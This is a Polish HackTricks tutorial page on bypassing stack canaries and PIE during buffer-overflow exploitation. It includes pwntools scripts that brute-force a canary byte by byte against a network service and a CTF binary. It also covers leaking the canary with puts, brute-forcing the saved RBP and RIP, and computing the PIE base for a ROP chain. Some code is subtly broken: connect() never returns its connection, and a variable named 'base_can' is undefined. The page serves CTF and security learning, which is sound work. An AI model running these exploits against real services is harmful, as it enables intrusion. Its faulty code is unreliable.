Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.** ![](<../../.gitbook/assets/image (144).png>) {% hint style="info" %} Należy zauważyć, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on statycznie skompilowany i nie jest w stanie zidentyfikować funkcji.\ Jednak można to zauważyć ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji i ta wartość jest sprawdzana przed wyjściem. {% endhint %} # Bruteforce canary Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik jest programem, który **tworzy procesy potomne za każdym razem, gdy nawiązujesz nowe połączenie** z nim (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, **używany będzie ten sam canary**. Najlepszym sposobem na obejście canary jest po prostu **brute-force'owanie go znak po znaku**, a można ustalić, czy odgadnięty bajt canary jest poprawny, sprawdzając, czy program się zawiesił czy kontynuuje swoje normalne działanie. W tym przykładzie funkcja **brute-force'uje 8-bajtowy canary (x64)** i rozróżnia między poprawnie odgadniętym bajtem a błędnym bajtem, po prostu **sprawdzając**, czy serwer **wysyła odpowiedź** (innym sposobem w **innej sytuacji** może być użycie **try/except**): ## Przykład 1 Ten przykład jest zaimplementowany dla 64-bitów, ale można go łatwo zaimplementować dla 32-bitów. ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ## Przykład 2 To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity.\ Należy również zauważyć, że w tym przykładzie **program oczekuje najpierw bajtu wskazującego rozmiar wejścia**, a następnie ładunku. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` # Wyświetlanie Canary Innym sposobem na obejście canary jest jego **wyświetlenie**.\ Wyobraź sobie sytuację, w której **podatny na przepełnienie stosu program** może wykonać funkcję **puts**, która **wskazuje** na **część** przepełnionego stosu. Atakujący wie, że **pierwszy bajt canary to bajt nullowy** (`\x00`), a reszta canary to **losowe** bajty. Następnie atakujący może stworzyć przepełnienie, które **nadpisuje stos aż do pierwszego bajtu canary**.\ Następnie atakujący **wywołuje funkcję puts** na środku payloadu, co spowoduje **wyświetlenie całego canary** (z wyjątkiem pierwszego bajtu nullowego).\ Dzięki tym informacjom atakujący może **stworzyć i wysłać nowy atak**, znając canary (w tej samej sesji programu). Oczywiście, ta taktyka jest bardzo **ograniczona**, ponieważ atakujący musi być w stanie **wyświetlić** zawartość swojego payloadu, aby **wyciec canary**, a następnie być w stanie stworzyć nowy payload (w tej samej sesji programu) i **wysłać** **rzeczywiste przepełnienie bufora**.\ Przykład CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) # PIE Aby obejść PIE, musisz **wyciec pewien adres**. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest **przełamać RBP i RIP zapisane na stosie** w podatnej funkcji.\ Na przykład, jeśli binarny plik jest chroniony zarówno przez **canary**, jak i **PIE**, możesz rozpocząć próby odgadywania canary, a następnie **następne** 8 bajtów (x64) będą zapisanym **RBP**, a **następne** 8 bajtów będą zapisanym **RIP**. Aby przeprowadzić próby odgadywania RBP i RIP z binarnego pliku, możesz ustalić, że poprawny odgadnięty bajt jest prawidłowy, jeśli program coś wyświetla lub po prostu nie zawiesza się. **Ta sama funkcja**, która została użyta do prób odgadywania canary, może być użyta do prób odgadywania RBP i RIP: ```python print("Brute-Forcing RBP") base_canary_rbp = get_bf(base_canary) RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:]) print("Brute-Forcing RIP") base_canary_rbp_rip = get_bf(base_canary_rbp) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) ``` ## Uzyskaj adres bazowy Ostatnią rzeczą, którą musisz zrobić, aby pokonać PIE, jest obliczenie **użytecznych adresów na podstawie wyciekniętych** adresów: **RBP** i **RIP**. Na podstawie **RBP** możesz obliczyć **miejsce, w którym zapisujesz swoją powłokę na stosie**. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg _"/bin/sh\x00"_ wewnątrz stosu. Aby obliczyć odległość między wyciekniętym RBP a twoim kodem powłoki, wystarczy ustawić **punkt przerwania po wycieku RBP** i sprawdzić, **gdzie znajduje się twój kod powłoki**, a następnie obliczyć odległość między kodem powłoki a RBP: ```python INI_SHELLCODE = RBP - 1152 ``` Z **RIP** można obliczyć **adres bazowy binarnego PIE**, który będzie potrzebny do utworzenia **poprawnego łańcucha ROP**.\ Aby obliczyć adres bazowy, wystarczy wykonać polecenie `objdump -d vunbinary` i sprawdzić ostatnie adresy rozkładu: ![](<../../.gitbook/assets/image (145).png>) Na przykładzie widać, że potrzebne jest tylko **1,5 bajta**, aby zlokalizować cały kod, a więc adres bazowy w tej sytuacji będzie to **wycieknięty RIP, ale zakończony na "000"**. Na przykład, jeśli wyciekł _0x562002970**ecf**_, to adres bazowy to _0x562002970**000**_. ```python elf.address = RIP - (RIP & 0xfff) ```
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.